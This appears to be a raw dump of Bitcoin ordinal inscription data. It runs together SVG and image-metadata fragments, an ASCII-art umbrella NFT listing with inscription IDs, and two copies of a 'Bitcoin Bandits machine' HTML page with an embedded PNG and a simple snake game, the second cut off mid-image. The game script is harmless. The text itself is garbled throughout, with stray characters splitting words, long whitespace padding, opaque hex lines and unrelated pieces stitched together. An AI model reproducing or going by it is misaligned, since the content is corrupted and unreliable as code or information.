<!--puzzlords.com s1p0108/4096 0,0,0,2,1 ~0.8935818036552519-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#9296A0" width="100%" height="100%"/>
<polyline fill="#52F6A8" points="0,8 3,6 4,6 0,0 "/>
<polyline fill="#52F6A8" points="8,0 2,6 3,6 8,8 "/>
<polyline fill="#52F6A8" points="8,8 5,6 5,6 0,8 "/>
<polyline fill="#F652A0" points="0,0 4,5 4,5 8,0 "/>
FjDOUT:19854B6DE9991D6F5D755FDCC384094F19226549EDBC422F8E1F8719BE5D50F7
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dM
c/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:db7a0b96-4c55-49eb-983e-31c2a9985624" xmpMM:InstanceID="xmp.iid:670b5fe7-6230-4626-a99f-7940a6de77ad" xmpMM:OriginalDocumentID="xmp.did:4ab32551-ee3e-4dc0-9642-d4644c9cf1d2" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418486483506" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MM
etadataDate="2023:02:15T10:48:05+11:00" xmp:ModifyDate="2023:02:15T10:48:05+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:860efaf8-ba15-4ecc-93ee-9cfa27f2f683" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:48:06"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Md
                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMPM
 Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:1e47f29d-4c88-4b29-9635-2bdbf7f32afb" xmpMM:InstanceID="xmp.iid:779437c5-8b1e-4164-8859-bd177bbM
04183" xmpMM:OriginalDocumentID="xmp.did:a59b0597-6807-48b9-a305-312288b75835" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418498719955" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:48:17+11:00" xmp:ModifyDate="2023:02:15T10:48:17+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:e53c908a-0aba-4743-9c4a-d75a9c551e57" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvtM
:when="2023-02-15T10:48:18"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        LX                                                                     <?xpacket end="w"?>h!
FjDOUT:8867CF7528FC8EA64988CAF0BF08620BBA26C93452893E2DF73EB7B32DCAD055
FjDOUT:8B73F534AD68037C5730B6CDBC848C95E2A533930253826D81832175E60BE2F3
FjDOUT:595E96165F26A9966DA7DF5A35664C14E99BCD4BDA3C2C08B11B6D80440AF053
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
#;&#  #H36+;UKZXTKRQ^j
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
  .' .' .  :  . `. `.
 / .   .   :   .   . \
/_ _._ _.._:_.._ _._ _\
  '   '    |    '   '
The first nft ordinal series of a single character representing an umbrella.
Ordinal inscriptions from #56979 to #80287
TOTAL SUPPLY 10 units : 9 "RARE" and 1 "LEGENDARY"
#1	"""inscription"": ""d468856226f0eba6fa68b25849ebe40dd833d1c388bde24165adbdcf1babb3a2M
#2	"""inscription"": ""805561e5add0dc46b1ffafd2e27f0a11c56acbee49fd6655f35b25588bdaf408i0"", "
#3	"""inscription"": ""91400500cd6bef279c55215cc4dbe9c01bed47aaced3111ad2e542064ddc3306i0"", "
#4	"""inscription"": ""fcd36a76f266abe169e56b24b00211fe8461a8feb3908a9a105c6d45fd61d291i0"", "
#5	"""inscription"": ""6960ad7c7b7bf633dc8abbe0a43067df0ef92d3c98736514be3249fa67ef9a92i0"", "
#6	"""inscription"": ""424b51cead0be220c555e41c82fe95a2fa4cfa8c7505c3b809ede0d17d914faci0"", "
#7	"""inscription"": ""cb57e3daM`
d8ede5776375b14a402ad56e977c37df6916964356cae51fb82ad3d0i0"", "
#8	"""inscription"": ""0b02de3ad6d142272cb984c1a1983e2b1b97eaaec05cfdb86d3b5a1de2347dd7i0"", "
#9	"""inscription"": ""a624332af932ff5d2b73eac7c309342b4fce625f92ad91b8f4b1f269ce5578f0i0"", "
#10	"""inscription"": ""c6936b0018a970edffce912067d20dcfc4531421fa91f9120ab681dc14a74dbei0"", "h!
text/plain;charset=utf-8
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>dd8bcef8-f6ea-4bc1-b21d-eb0a5e10e72d</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
ib:TouchType>2</Attrib:TouchType>
 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 6</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
xmp:CreatorTool>Canva</xmp:CreatorTool>
<?xpacket end='r'?>>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.M
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" clM
ass="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=cM
anvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.M
length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
